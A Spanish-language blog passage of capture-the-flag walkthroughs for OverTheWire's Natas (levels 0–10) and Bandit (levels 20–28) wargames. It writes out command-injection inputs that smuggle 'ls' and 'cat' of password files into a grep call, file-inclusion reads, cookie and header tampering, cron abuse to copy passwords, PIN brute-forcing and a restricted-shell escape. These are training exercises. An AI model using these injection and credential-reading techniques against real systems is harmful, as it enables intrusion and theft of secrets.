<p><img src="/assets/img/writeup-wargame-natas-parte-1/page-3-natas9.png" alt="41" /></p>
<p>Como sabemos que <code class="language-plaintext highlighter-rouge">passthru</code> permite ejecutar código, intentamos ejecutar un <code class="language-plaintext highlighter-rouge">ls</code>, pero antes de este, le pondremos un <code class="language-plaintext highlighter-rouge">;</code>. Este es usado para ejecutar varios comandos en Linux en una única línea:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/command-i-1-natas9.png" alt="42" /></p>
<p>Si revisamos la URL, podemos observar que no aparece <code class="language-plaintext highlighter-rouge">;ls</code>, si no que, <code class="language-plaintext highlighter-rouge">%3Bls</code>, esto se debe a que sea realizó una <a href="https://www.w3schools.com/tags/ref_urlencode.asp">codificación de URL</a>, donde <code class="language-plaintext highlighter-rouge">;</code> se codifica como <code class="language-plaintext highlighter-rouge">%3B</code>.</p>
<p>Ahora sabemos que se pueden inyectar comandos, por lo tanto, intentamos leer el archivo con la password del siguiente reto usando un <code class="language-plaintext highlighter-rouge">cat /etc/natas_webpass/natas10</code>:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/command-i-2-natas9-1.png" alt="43" /></p>
<h2 id="solución-natas-9--10">Solución Natas 9 > 10</h2>
<p>Para ingresar al nivel 10, nos brindan la siguiente información:</p>
<ul>
<li>Usuario: natas10</li>
<li>URL: <a href="http://natas10.natas.labs.overthewire.org">http://natas10.natas.labs.overthewire.org</a></li>
</ul>
<p>Este reto es similar al anterior, pero si revisamos el código que nos entregan, podemos ver que en este caso, no podemos usar los caracteres <code class="language-plaintext highlighter-rouge">;</code>, <code class="language-plaintext highlighter-rouge">|</code> y <code class="language-plaintext highlighter-rouge">&</code>:</p>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/page-1-natas10.png" alt="44" /></p>
<p>Por lo tanto, como no se pueden usar los caracteres del reto anterior, se utilizaran expresiones regulares con el <code class="language-plaintext highlighter-rouge">grep</code> de la función. En este caso, ejecutaremos el comando <code class="language-plaintext highlighter-rouge">. /etc/natas_webpass/natas11 #</code>:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">.</code> <a href="https://www.computerhope.com/jargon/r/regex.htm">expresión regular</a> que hace match con cualquier carácter.</li>
<li><code class="language-plaintext highlighter-rouge">/etc/natas_webpass/natas11</code> archivo que leeremos mediante <code class="language-plaintext highlighter-rouge">grep</code>.</li>
<li><code class="language-plaintext highlighter-rouge">#</code> corresponde a un comentario, el cual, nos permite omitir todo lo que viene después del archivo a leer.</li>
</ul>
<p><img src="/assets/img/writeup-wargame-natas-parte-1/command-i-1-natas10-1.png" alt="45" /></p>W0lf_F4ngms@w0lff4ng.orgEl wargame Natas, es un juego creado por OverTheWire en conjunto con NESSoS para enseñar lo básico de la seguridad web orientado desde el lado del servidor. Cada nivel posee su propia web, los que pueden ser accedidos desde cualquier navegador a la direccion http://natasX.natas.labs.overthewire.org, donde la X corresponde al nivel en que nos encontremos. Para poder acceder a cada nivel debemos ingresar el usuario y password correspondiente, donde el usuario corresponde al nivel (por ejemplo, para el nivel 0 el usuario es natas0), y la password es la flag adquirida en el reto anterior. Por lo tanto, debemos resolver el reto del nivel actual para poder obtener la password del siguiente nivel. Solución Natas 0 En el nivel 0, OverTheWire nos brinda la siguiente información: Usuario: natas0 Password: natas0 URL: http://natas0.natas.labs.overthewire.org Al ingresar al sitio, lo primero que nos aparece es un pop-up solicitando las credenciales del nivel: Ingresamos los datos brindados anteriormente, y vemos el mensaje Puedes encontrar la password del siguiente nivel en esta página: Si revisamos el código de la página haciendo clic derecho sobre esta, y seleccionado la opción View Page Source en Firefox: Esto nos abrirá una nueva pestaña, donde veremos el código de la página, la cual, posee un comentario con la password del siguiente nivel: Solución Natas 0 > 1 Para ingresar al nivel 1, nos brindan la siguiente información: Usuario: natas1 URL: http://natas1.natas.labs.overthewire.org Al igual que en el reto anterior, debemos ingresar las correspondientes al nivel, que en este caso es para el nivel 1. El mensaje que se nos muestra es: Puedes encontrar la password del siguiente nivel en esta página, pero el clic derecho se encuentra bloqueado!. Para poder ver código de la página, podemos usar la combinación de teclas CTRL+U, lo que nos permite encontrar la password del siguiente reto: Solución Natas 1 > 2 Para ingresar al nivel 2, nos brindan la siguiente información: Usuario: natas2 URL: http://natas2.natas.labs.overthewire.org Esta vez, el mensaje que nos muestra es: No hay nada en esta página. Si volvemos a revisar el código, vemos que se encuentra el enlace a una imagen: La imagen en este caso no posee información útil: Pero si ingresamos al directorio donde se encuentra almacenada, encontramos un archivo de texto: Y al abrir el archivo, vemos que contiene la password del nivel 3: Solución Natas 2 > 3 Para ingresar al nivel 3, nos brindan la siguiente información: Usuario: natas3 URL: http://natas3.natas.labs.overthewire.org Al igual que en el reto anterior, nos indican que no se encuentra nada en la página. Al revisar el código de la página, nos encontramos con el comentario que dice: No más fuga de información, ni siquiera en Google. Esto nos indica que no hay información indexada en google, y para lograr esto, se utiliza el archivo robots.txt. Este le “enseña” a los motores de búsqueda que información indexar: Ahora revisamos el contenido del directorio /s3cr3t: Y vemos el contenido del archivo users.txt: Solución Natas 3 > 4 Para ingresar al nivel 4, nos brindan la siguiente información: Usuario: natas4 URL: http://natas4.natas.labs.overthewire.org El mensaje de este nivel es el siguiente: Acceso no permitido. Está visitando desde “”, mientras que los usuarios autorizados deben proceder únicamente de “http://natas5.natas.labs.overthewire.org/“. Al hacer clic en Refresh page, el mensaje cambia automáticamente: Si revisamos la comunicación que se genera mediante la opción inspeccionar (clic derecho > Inspect Element(Q) > Network), vemos que en el encabezado del mensaje GET que se genera al hacer clic en Refresh page, se indica el Header Referer, este especifica la dirección de la página anterior desde la que se accedió a la actual: Para poder modificar este campo y enviar la información solicitada para obtener la password, usamos un Interception Proxy (también puede ser mediante algún script). Un Interception Proxy es una herramienta que permite capturar la comunicación cliente/servidor, analizarla, y poder modificarla. Dentro de estas herramientas, se encuentran: Burp Suite y ZAP. Para este caso, utilizaré la herramienta Burp Suite en su versión Community. Para usar este proxy, debemos configurar nuestro navegador para que envíe la comunicación hacia esta herramienta. En Firefox, debemos ir a Preferences > Network Settings, y configurar en HTTP Proxy la dirección de este y el puerto (por defecto es 8080): NOTA: se recomienda instalar el certificado de Burp Suite en el navegador. Iniciamos Burp con un proyecto temporal, y nos vamos al pestaña Proxy > Intercept: Ahora le damos clic una vez más en Refresh page, y en Burp nos aparecerá lo siguiente: Lo que sucedió, es que Burp interceptó la comunicación enviada por el navegador, y ahora podemos modificar el Header Referer con la información especificada en el reto. Una vez modificado el encabezado, le damos clic en Forward: Y al enviar el mensaje modificado, vemos que en nuestro navegador aparece la password para natas5: Solución Natas 4 > 5 Para ingresar al nivel 5, nos brindan la siguiente información: Usuario: natas5 URL: http://natas5.natas.labs.overthewire.org Al ingresar al nivel 5, vemos el mensaje Acceso deshabilitado, No estás logueado. Si interceptamos el tráfico con Burp, vemos que el Header Cookie tiene como parámetro loggedin=0: Revisemos qué sucede cuando modificamos este valor, y lo cambiamos por un 1: Vemos que esto nos brinda la password del siguiente nivel: Solución Natas 5 > 6 Para ingresar al nivel 6, nos brindan la siguiente información: Usuario: natas6 URL: http://natas6.natas.labs.overthewire.org Al ingresar, vemos un campo para hacer consultas, además, de un enlace a un código: Si ingresamos un dato cualquiera, este nos muestra el mensaje Wrong secret: Si revisamos el código del enlace que nos brindan, vemos que es un código PHP, el que valida lo que ingresamos en el campo Input secret: Lo que hace es validar si lo que enviamos mediante el método POST es igual a lo que tiene asignado en la variable $secret, nos mostrará la password de natas7. Además, vemos que se está incluyendo el archivo includes/secret.inc. Por lo tanto, intentamos ver que tiene: Al revisar, vemos que no tiene nada, pero si vemos su código, nos damos cuenta que encontramos el valor de $secret: Ahora copiamos este valor en el campo de consulta del inicio, y este nos trae de vuelta la password de natas7: Solución Natas 6 > 7 Para ingresar al nivel 7, nos brindan la siguiente información: Usuario: natas7 URL: http://natas7.natas.labs.overthewire.org Al ingresar, vemos que se encuentran dos enlaces, uno al Home y el otro a About: Al ingresar a cada uno de estos, no se nos presenta información útil: Al revisar el código, vemos que tiene un comentario indicando lo siguiente: Pista: la password para el usuario web natas8 está en /etc/natas_webpass/natas8. Esto nos indica que debemos revisar el archivo natas8 que se encuentra en /etc/natas_webpass/. La pista nos señala que es posible que se encuentre una vulnerabilidad LFI, lo que nos permitirá ver el contenido de un archivo local en el servidor. Por lo tanto, intentamos pasarle la ruta del archivo en la variable page, y vemos que nos trae de vuelta la password para natas8: Solución Natas 7 > 8 Para ingresar al nivel 8, nos brindan la siguiente información: Usuario: natas8 URL: http://natas8.natas.labs.overthewire.org Al ingresar, vemos que se presenta un campo para hacer queries y un enlace con un código: Si revisamos el código, vemos que este tiene una función llamada encodeSecret y una variable con el nombre encodedSecret: Si revisamos dicha función, lo que hace es tomar el valor de la variable secret y la codifica en base64. Luego, invierte el string que este genera y le aplica la función bin2hex. Esto da como resultado el valor de encodedSecret, que es el que nos muestran en el código: 3d3d516343746d4d6d6c315669563362. Por lo tanto, para saber que enviar en esta query, debemos realizar lo inverso a la función anterior. Para lograr esto, se creó el siguiente script en PHP. Este muestra el paso a paso de lo que hace cada parte de la función: Al ejecutarlo, vemos que nos entrega un valor (oubWYf2kBq), el cual si lo ingresamos en el navegador, nos brinda la password del siguiente nivel: Solución Natas 8 > 9 Para ingresar al nivel 9, nos brindan la siguiente información: Usuario: natas9 URL: http://natas9.natas.labs.overthewire.org En este nivel, nos piden ingresar Encuentra palabras que contengan: Si revisamos el código presentado en el enlace, este valida si el valor de la variable key no se encuentra vacía (parámetro que pasamos en la query), y en caso de no estarlo, ejecuta un passthru. El cual, permite ejecutar un programa externo, que en este caso, es un grep: Por lo tanto, si le pasamos algún dato a esa variable, buscará palabras dentro de un diccionario y mostrará el contenido que tenga lo que le ingresamos. Entonces, si le ingresamos una a, este nos traerá todo lo que contenga una a: Como sabemos que passthru permite ejecutar código, intentamos ejecutar un ls, pero antes de este, le pondremos un ;. Este es usado para ejecutar varios comandos en Linux en una única línea: Si revisamos la URL, podemos observar que no aparece ;ls, si no que, %3Bls, esto se debe a que sea realizó una codificación de URL, donde ; se codifica como %3B. Ahora sabemos que se pueden inyectar comandos, por lo tanto, intentamos leer el archivo con la password del siguiente reto usando un cat /etc/natas_webpass/natas10: Solución Natas 9 > 10 Para ingresar al nivel 10, nos brindan la siguiente información: Usuario: natas10 URL: http://natas10.natas.labs.overthewire.org Este reto es similar al anterior, pero si revisamos el código que nos entregan, podemos ver que en este caso, no podemos usar los caracteres ;, | y &: Por lo tanto, como no se pueden usar los caracteres del reto anterior, se utilizaran expresiones regulares con el grep de la función. En este caso, ejecutaremos el comando . /etc/natas_webpass/natas11 #: . expresión regular que hace match con cualquier carácter. /etc/natas_webpass/natas11 archivo que leeremos mediante grep. # corresponde a un comentario, el cual, nos permite omitir todo lo que viene después del archivo a leer.Writeup - Wargame Bandit - Parte 32020-05-26T11:58:47-04:002020-05-26T11:58:47-04:00http://www.w0lff4ng.org/wargame-bandit-3<p><img src="/assets/img/wargame-bandit-3/bandit.jpg" alt="bandit" /></p>
<p>Este post es la última parte de la serie <a href="https://overthewire.org/wargames/bandit/"><strong>Wargame Bandit</strong></a>.</p>
<ul>
<li><a href="https://www.w0lff4ng.org/wargame-bandit/">Wargame Bandit - Parte 1</a></li>
<li><a href="https://www.w0lff4ng.org/wargame-bandit-2/">Wargame Bandit - Parte 2</a></li>
</ul>
<p>A continuación, se mostrará como resolver los retos desde el <a href="https://overthewire.org/wargames/bandit/bandit21.html">20 > 21</a>, hasta el <a href="https://overthewire.org/wargames/bandit/bandit33.html">32 > 33</a> (el reto 33 > 34 aún no ha salido).</p>
<h2 id="solución-bandit-20--21">Solución Bandit 20 > 21</h2>
<h3 id="instrucciones">Instrucciones</h3>
<p>En el directorio <code class="language-plaintext highlighter-rouge">home</code> se encuentra un binario <code class="language-plaintext highlighter-rouge">setuid</code>, el cual, hace lo siguiente: realiza una conexión al <code class="language-plaintext highlighter-rouge">localhost</code> en el puerto que le indiquemos como argumento. Este leerá una línea en la conexión establecida, la que, debe ser la password para conectarse a este reto. Si los datos enviados son correctos, este binario entregará la password del siguiente reto.</p>
<h3 id="comandos-recomendados-a-usar">Comandos recomendados a usar</h3>
<p>ssh, nc, cat, bash, screen, tmux, Unix ‘job control’ (bg, fg, jobs, &, CTRL-Z, …)</p>
<h3 id="solución">Solución</h3>
<p>Vemos que existe el archivo <code class="language-plaintext highlighter-rouge">setuid</code> en el directorio home:</p>
<p><img src="/assets/img/wargame-bandit-3/ls-bandit20.png" alt="bandit03-01" /></p>
<p>Si vemos las instrucciones del software, este indica que solo se debe ingresar el puerto de conexión:</p>
<p><img src="/assets/img/wargame-bandit-3/suconnect-1-bandit20.png" alt="bandit03-02" /></p>
<p>Según los comandos que podemos usar para resolver este reto, se encuentra <code class="language-plaintext highlighter-rouge">tmux</code>. Este nos permite dividir el terminal, por lo tanto, podemos trabajar con dos terminales a la vez.</p>
<p>Para usar este comando, en el terminal escribimos <code class="language-plaintext highlighter-rouge">tmux</code> y damos <code class="language-plaintext highlighter-rouge">enter</code>, lo que nos mostrará una nueva terminal. Para poder dividirla, usamos la combinación de teclas <code class="language-plaintext highlighter-rouge">CTRL+b</code>, seguido del símbolo <code class="language-plaintext highlighter-rouge">%</code>. Esto nos dividirá de forma vertical el terminal.</p>
<p>Para movernos entre terminales, usamos <code class="language-plaintext highlighter-rouge">CTRL+b</code> con las teclas de dirección:</p>
<p><img src="/assets/img/wargame-bandit-3/tmux-bandit20.png" alt="bandit03-03" /></p>
<p>Ahora que podemos trabajar con dos terminales, creamos un <code class="language-plaintext highlighter-rouge">listener</code> usando <code class="language-plaintext highlighter-rouge">nc</code>, donde, la opción <code class="language-plaintext highlighter-rouge">-l</code> es para dejar al equipo en modo escucha, y la opción <code class="language-plaintext highlighter-rouge">-p 1234</code> para escuchar en el puerto <code class="language-plaintext highlighter-rouge">1234</code>.</p>
<p>Pero cómo se debe pasar la password del reto anterior, lo hacemos mediante el comando <code class="language-plaintext highlighter-rouge">echo</code> (también puede ser mediante el comando <code class="language-plaintext highlighter-rouge">cat</code>).</p>
<p>Una vez arriba el listener, en el otro terminal usamos el binario suconnect al puerto definido para poder obtener la password del siguiente reto:</p>
<p><img src="/assets/img/wargame-bandit-3/suconnect-2-bandit20.png" alt="bandit03-04" /></p>
<h2 id="solución-bandit-21--22">Solución Bandit 21 > 22</h2>
<h3 id="instrucciones-1">Instrucciones</h3>
<p>Un programa se encuentra ejecutándose de forma automática regularmente desde un <code class="language-plaintext highlighter-rouge">cron</code>. Para ver el <code class="language-plaintext highlighter-rouge">cron</code> debemos revisar el directorio <code class="language-plaintext highlighter-rouge">/etc/cron.d/</code> para saber que comando se está ejecutando.</p>
<h3 id="comandos-recomendados-a-usar-1">Comandos recomendados a usar</h3>
<p>cron, crontab, crontab(5) (use “man 5 crontab” to access this)</p>
<h3 id="solución-1">Solución</h3>
<p>Vemos el contenido del directorio <code class="language-plaintext highlighter-rouge">/etc/cron.d/</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/ls-bandit21.png" alt="bandit03-05" /></p>
<p>Como estamos buscando la password del reto 22, vemos el archivo <code class="language-plaintext highlighter-rouge">cronjob_bandit22</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/cat-1-bandit21.png" alt="bandit03-06" /></p>
<p>Analizando lo que ejecuta este cron:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null</code>: después de un reinicio, ejecuta <code class="language-plaintext highlighter-rouge">/usr/bin/cronjob_bandit22.sh &> /dev/null</code> como el usuario <code class="language-plaintext highlighter-rouge">bandit22</code></li>
<li><code class="language-plaintext highlighter-rouge">* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null</code>: cada minuto ejecuta <code class="language-plaintext highlighter-rouge">/usr/bin/cronjob_bandit22.sh &> /dev/null</code> como el usuario <code class="language-plaintext highlighter-rouge">bandit22</code></li>
</ul>
<p>Revisamos el script <code class="language-plaintext highlighter-rouge">cronjob_bandit22.sh</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/cat-2-bandit21.png" alt="bandit03-07" /></p>
<p>Ahora sabemos que este pasa la password de <code class="language-plaintext highlighter-rouge">bandit22</code> al archivo <code class="language-plaintext highlighter-rouge">t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv</code> almacenado en <code class="language-plaintext highlighter-rouge">/tmp/</code>, y le da permisos <code class="language-plaintext highlighter-rouge">644</code>, indicando que cualquiera puede leerlo:</p>
<p><img src="/assets/img/wargame-bandit-3/cat-3-bandit21.png" alt="bandit03-08" /></p>
<h2 id="solución-bandit-22--23">Solución Bandit 22 > 23</h2>
<h3 id="instrucciones-2">Instrucciones</h3>
<p>Un programa se encuentra ejecutándose de forma automática regularmente desde un <code class="language-plaintext highlighter-rouge">cron</code>. Para ver el <code class="language-plaintext highlighter-rouge">cron</code> debemos revisar el directorio <code class="language-plaintext highlighter-rouge">/etc/cron.d/</code> para saber que comando se está ejecutando.</p>
<h3 id="comandos-recomendados-a-usar-2">Comandos recomendados a usar</h3>
<p>cron, crontab, crontab(5) (usar “man 5 crontab” para acceder a este)</p>
<h3 id="solución-2">Solución</h3>
<p>Vemos el contenido del directorio <code class="language-plaintext highlighter-rouge">/etc/cron.d/</code>, y revisemos que se encuentra ejecutando el archivo <code class="language-plaintext highlighter-rouge">cronjob_bandit23</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/ls-bandit22.png" alt="bandit03-09" /></p>
<p>Este se encuentra ejecutando el script <code class="language-plaintext highlighter-rouge">cronjob_bandit23.sh</code> que se encuentra en el directorio <code class="language-plaintext highlighter-rouge">/usr/bin/</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/cat-bandit22.png" alt="bandit03-10" /></p>
<p>Lo que hace este script es:</p>
<ul>
<li>Asigna a la variable <code class="language-plaintext highlighter-rouge">myname</code> el valor de la salida del comando <code class="language-plaintext highlighter-rouge">whoami</code>, que en este caso es <em>bandit22</em></li>
<li>Luego, asigna a la variable <code class="language-plaintext highlighter-rouge">mytarget</code> el siguiente output:
<ul>
<li>Toma el resultado de <code class="language-plaintext highlighter-rouge">echo I am user $myname</code> (<em>I am user bandit22</em>), y lo manda a <code class="language-plaintext highlighter-rouge">md5sum</code></li>
<li>Este entrega el hash MD5 del mensaje anterior (<code class="language-plaintext highlighter-rouge">169b67bd894ddbb4412f91573b38db3 -</code>). Y por último, esto es entregado al comando <code class="language-plaintext highlighter-rouge">cut -d ' ' -f1</code></li>
<li>El último comando separa el mensaje MD5 usando el delimitador de un espacio <code class="language-plaintext highlighter-rouge">' '</code>, y muestra el primer campo de esto, que es <code class="language-plaintext highlighter-rouge">169b67bd894ddbb4412f91573b38db3</code></li>
</ul>
</li>
</ul>
<p>El problema al ejecutar el script anterior, es que el resultado está basado en bandit22, por lo tanto, debemos hacerlo de la siguiente forma para obtener la password de <em>bandit23</em>:</p>
<p><img src="/assets/img/wargame-bandit-3/script-bandit22-1.png" alt="bandit03-11" /></p>
<blockquote>
<p>NOTA: también se puede asignar la salida del comando a una variable para luego usarlo en el comando cat.</p>
</blockquote>
<h2 id="solución-bandit-23--24">Solución Bandit 23 > 24</h2>
<h3 id="instrucciones-3">Instrucciones</h3>
<p>Un programa se encuentra ejecutándose de forma automática regularmente desde un <code class="language-plaintext highlighter-rouge">cron</code>. Para ver el <code class="language-plaintext highlighter-rouge">cron</code> debemos revisar el directorio <code class="language-plaintext highlighter-rouge">/etc/cron.d/</code> para saber que comando se está ejecutando.</p>
<p>En este reto se debe crear un script.</p>
<h3 id="comandos-recomendados-a-usar-3">Comandos recomendados a usar</h3>
<p>cron, crontab, crontab(5) (usar “man 5 crontab” para acceder a este)</p>
<h3 id="solución-3">Solución</h3>
<p>Revisamos el script <code class="language-plaintext highlighter-rouge">cronjob_bandit24.sh</code> que se encuentra en <code class="language-plaintext highlighter-rouge">/usr/bin/</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/cat-bandit23.png" alt="bandit03-12" /></p>
<p>Lo que hace este script es ejecutar todo lo que contiene el directorio <code class="language-plaintext highlighter-rouge">/var/spool/bandit24</code> y que el dueño sea <code class="language-plaintext highlighter-rouge">bandit23</code>, y luego lo elimina.</p>
<blockquote>
<p>NOTA: este script se ejecuta cada minuto mediante el crontab configurado.</p>
</blockquote>
<p>Por lo tanto, como sabemos que las contraseñas de los retos se almacenan en <code class="language-plaintext highlighter-rouge">/etc/bandit_pass</code>, vamos a hacer generar un script que lea la password, y que ese contenido lo almacene en un nuevo archivo que podamos leer.</p>
<p>Lo primero que haremos es crear un directorio en la carpeta <code class="language-plaintext highlighter-rouge">/tmp</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/mkdir-bandit23.png" alt="bandit03-13" /></p>
<p>Al directorio nuevo le damos full permisos para que cualquiera pueda escribir, leer y ejecutar sobre este:</p>
<p><img src="/assets/img/wargame-bandit-3/chmod-1-bandit23-1.png" alt="bandit03-14" /></p>
<p>Creamos nuestro script usando el editor de texto nano (dar enter para continuar con el programa):</p>
<p><img src="/assets/img/wargame-bandit-3/nano-bandit23-1.png" alt="bandit03-15" /></p>
<p>El script que vamos a ejecutar es un script en bash (por eso indicamos que utilizará <code class="language-plaintext highlighter-rouge">#!/bin/bash</code>, en caso de que no se encuentre en esa ruta, se puede obtener con el comando <code class="language-plaintext highlighter-rouge">which bash</code>).</p>
<p>Lo que hace este script es que leerá el archivo con la password de <code class="language-plaintext highlighter-rouge">bandit24</code> y la almacenará en el archivo <code class="language-plaintext highlighter-rouge">password.txt</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/script-bandit23.png" alt="bandit03-16" /></p>
<p>Le damos permisos de ejecución al script, y esperamos a que pase el minuto para que se ejecute el crontab y este corra nuestro script:</p>
<p><img src="/assets/img/wargame-bandit-3/chmod-2-bandit23.png" alt="bandit03-17" /></p>
<p>Luego de esperar un tiempo, revisamos la carpeta creada en el directorio temporal, y vemos que se encuentra la password del siguiente reto:</p>
<p><img src="/assets/img/wargame-bandit-3/cat-2-bandit23.png" alt="bandit03-18" /></p>
<blockquote>
<p>NOTA: en caso de que no funcione, validar los permisos de la carpeta de destino, y si el script creado tiene permisos de ejecución.</p>
</blockquote>
<h2 id="solución-bandit-24--25">Solución Bandit 24 > 25</h2>
<h3 id="instrucciones-4">Instrucciones</h3>
<p>Un programa está escuchando en el puerto 30002, el cual, nos dará la contraseña para <code class="language-plaintext highlighter-rouge">bandit25</code> si se entrega la contraseña de <code class="language-plaintext highlighter-rouge">bandit24</code> y un <em>PIN</em> numérico secreto de 4 dígitos. No hay forma de recuperar el <em>PIN</em>, excepto a través de todas las 10000 combinaciones, llamadas fuerza bruta.</p>
<h3 id="solución-4">Solución</h3>
<p>Lo que nos dice el reto es que, debemos conectarnos al puerto 30002 y debemos ingresar la password de <code class="language-plaintext highlighter-rouge">bandit24</code> y un <em>PIN</em>. Si intentamos conectarnos al puerto, este nos indica que debemos ingresar la password, seguido de un espacio y luego este PIN de cuatro dígitos:</p>
<p><img src="/assets/img/wargame-bandit-3/nc-bandit24.png" alt="bandit03-19" /></p>
<p>Por lo tanto, creamos una carpeta en el directorio <code class="language-plaintext highlighter-rouge">/tmp</code> para crear un script y hacer fuerza bruta del <em>PIN</em>:</p>
<p><img src="/assets/img/wargame-bandit-3/nano-bandit24.png" alt="bandit03-20" /></p>
<p>El siguiente script lo que hace es mandar la password seguido por 4 dígitos, partiendo por <code class="language-plaintext highlighter-rouge">0000</code> hasta llegar a <code class="language-plaintext highlighter-rouge">9999</code> (no se fijen en como está programado el script, solo en su funcionalidad):</p>
<p><img src="/assets/img/wargame-bandit-3/script-1-bandit24.png" alt="bandit03-21" /></p>
<p>A este le damos permisos de ejecución:</p>
<p><img src="/assets/img/wargame-bandit-3/chmod-bandit24.png" alt="bandit03-22" /></p>
<p>Y le pasamos este script al comando <code class="language-plaintext highlighter-rouge">netcat</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/script-2-bandit24.png" alt="bandit03-23" /></p>
<p>Una vez mandado el <em>PIN</em> correcto, la conexión nos muestra la contraseña del siguiente reto y cierra la conexión:</p>
<p><img src="/assets/img/wargame-bandit-3/script-3-bandit24.png" alt="bandit03-24" /></p>
<h2 id="solución-bandit-25--26">Solución Bandit 25 > 26</h2>
<h3 id="instrucciones-5">Instrucciones</h3>
<p>El shell para <code class="language-plaintext highlighter-rouge">bandit26</code> no es <code class="language-plaintext highlighter-rouge">/bin/bash</code>, sino algo más. Descubra qué es, cómo funciona y cómo salir de él.</p>
<h3 id="comandos-recomendados-a-usar-4">Comandos recomendados a usar</h3>
<p>ssh, cat, more, vi, ls, id, pwd</p>
<h3 id="solución-5">Solución</h3>
<p>El reto nos indica que <code class="language-plaintext highlighter-rouge">bandit26</code> no utiliza la shell <code class="language-plaintext highlighter-rouge">/bin/bash</code>, por lo tanto, revisamos el archivo <code class="language-plaintext highlighter-rouge">/etc/passwd</code>, el cual, nos indica que shell está utilizando:</p>
<p><img src="/assets/img/wargame-bandit-3/cat-bandit25.png" alt="bandit03-25" /></p>
<p>Si vemos que hay en el directorio local, encontramos la llave privada de <em>SSH</em> de <code class="language-plaintext highlighter-rouge">bandit26</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/cat-2-bandit25.png" alt="bandit03-26" /></p>
<h2 id="solución-bandit-26--27">Solución Bandit 26 > 27</h2>
<h3 id="instrucciones-6">Instrucciones</h3>
<p>Buen trabajo consiguiendo una shell! ¡Ahora date prisa y toma la contraseña de <code class="language-plaintext highlighter-rouge">bandit27</code>!.</p>
<h3 id="comandos-recomendados-a-usar-5">Comandos recomendados a usar</h3>
<p>ls</p>
<h3 id="solución-6">Solución</h3>
<p>Si intentamos conectarnos usando esta llave privada, nos cierra la conexión:</p>
<p><img src="/assets/img/wargame-bandit-3/ssh-1-bandit26.png" alt="bandit03-27" /></p>
<p>Si revisamos que hace la shell configurada en <code class="language-plaintext highlighter-rouge">bandit26</code>, vemos que este ejecuta un comando <code class="language-plaintext highlighter-rouge">more</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/cat-bandit26.png" alt="bandit03-28" /></p>
<p>Este comando muestra el output del archivo <code class="language-plaintext highlighter-rouge">text.txt</code> en páginas, pero para lograr esto, debemos disminuir el tamaño del terminal:</p>
<p><img src="/assets/img/wargame-bandit-3/ssh-2-bandit26.png" alt="bandit03-29" /></p>
<p>Una vez realizado esto, podemos ver que nos muestra el output de <code class="language-plaintext highlighter-rouge">text.txt</code> compaginado:</p>
<p><img src="/assets/img/wargame-bandit-3/ssh-3-bandit26.png" alt="bandit03-30" /></p>
<p>Cuando vemos <code class="language-plaintext highlighter-rouge">--More--(x%)</code> podemos usar la tecla <code class="language-plaintext highlighter-rouge">v</code> para ingresar al modo de edición:</p>
<p><img src="/assets/img/wargame-bandit-3/man-bandit26.png" alt="bandit03-31" /></p>
<p><img src="/assets/img/wargame-bandit-3/more-1-bandit26.png" alt="bandit03-32" /></p>
<p>Ahora podemos ingresar variables en este usando <code class="language-plaintext highlighter-rouge">:</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/more-2-bandit26.png" alt="bandit03-33" /></p>
<p>Una vez configurada la variable que llamará una shell <code class="language-plaintext highlighter-rouge">/bin/bash</code>, corremos la variable <code class="language-plaintext highlighter-rouge">shell</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/more-3-bandit26.png" alt="bandit03-34" /></p>
<p>Revisamos que tiene el directorio local, y este posee un <code class="language-plaintext highlighter-rouge">setuid</code> para ejecutar comandos como <code class="language-plaintext highlighter-rouge">bandit27</code>:</p>
<p><img src="/assets/img/wargame-bandit-3/ls-bandit26.png" alt="bandit03-35" /></p>
<p>Por lo tanto, ahora podemos ver la password del próximo reto:</p>
<p><img src="/assets/img/wargame-bandit-3/setuid-bandit26.png" alt="bandit03-36" /></p>
<h2 id="solución-bandit-27--28">Solución Bandit 27 > 28</h2>
<p>###Instrucciones</p>
<p>Hay un repositorio <code class="language-plaintext highlighter-rouge">git</code> en <code class="language-plaintext highlighter-rouge">ssh://bandit27-git@localhost/home/bandit27-git/repo</code>. La contraseña para el usuario <code class="language-plaintext highlighter-rouge">bandit27-git</code> es la misma que para el usuario <code class="language-plaintext highlighter-rouge">bandit27</code>.</p>
<p>Clone el repositorio y encuentre la contraseña para el siguiente nivel.</p>
<h3 id="comandos-recomendados-a-usar-6">Comandos recomendados a usar</h3>
<p>git</p>
<h3 id="solución-7">Solución</h3>
<p><code class="language-plaintext highlighter-rouge">Git</code> es un sistema de control de versiones diseñada para manejar proyectos. Este nos permite clonar proyectos creados para poder usarlos o modificarlos.</p>
<p>Para poder clonar este repositorio, usamos la herramienta <code class="language-plaintext highlighter-rouge">git</code> con su opción <code class="language-plaintext highlighter-rouge">clone</code>, seguido de la ruta dada entre comillas:</p>
<p><img src="/assets/img/wargame-bandit-3/git-bandit27.png" alt="bandit03-37" /></p>
<p>Luego de que el repositorio se encuentra clonado, revisamos su contenido y vemos que en el archivo <code class="language-plaintext highlighter-rouge">README</code> se encuentra la password del siguiente reto:</p>
<p><img src="/assets/img/wargame-bandit-3/cat-bandit27.png" alt="bandit03-38" /></p>
<h2 id="solución-bandit-28--29">Solución Bandit 28 > 29</h2>
<h3 id="instrucciones-7">Instrucciones</h3>
<p>Hay un repositorio <code class="language-plaintext highlighter-rouge">git</code> en <code class="language-plaintext highlighter-rouge">ssh://bandit28-git@localhost/home/bandit28-git/repo</code>. La contraseña para el usuario <code class="language-plaintext highlighter-rouge">bandit28-git</code> es la misma que para el usuario <code class="language-plaintext highlighter-rouge">bandit28</code>.</p>
